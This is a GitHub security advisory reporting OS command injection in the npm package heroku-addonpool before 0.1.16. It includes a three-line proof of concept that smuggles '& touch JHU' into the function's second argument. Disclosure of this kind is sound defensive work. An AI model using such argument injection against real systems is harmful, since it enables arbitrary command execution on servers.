GitHub Advisory Database
GHSA-3q9x-w53p-jg53
OS Command Injection in heroku-addonpool
Details
heroku-addonpool through 0.1.15 is vulnerable to Command Injection. The second parameter of the exported function HerokuAddonPool(id, app, opt) can be controlled by users without any sanitization.
PoC
var Root = require("heroku-addonpool");
var root = Root("sss", "& touch JHU", {});
root.setup();
Affected packages
| Ecosystem | Package | Affected versions |
|---|---|---|
| npm | heroku-addonpool | All versions before 0.1.16 (fixed in 0.1.16) |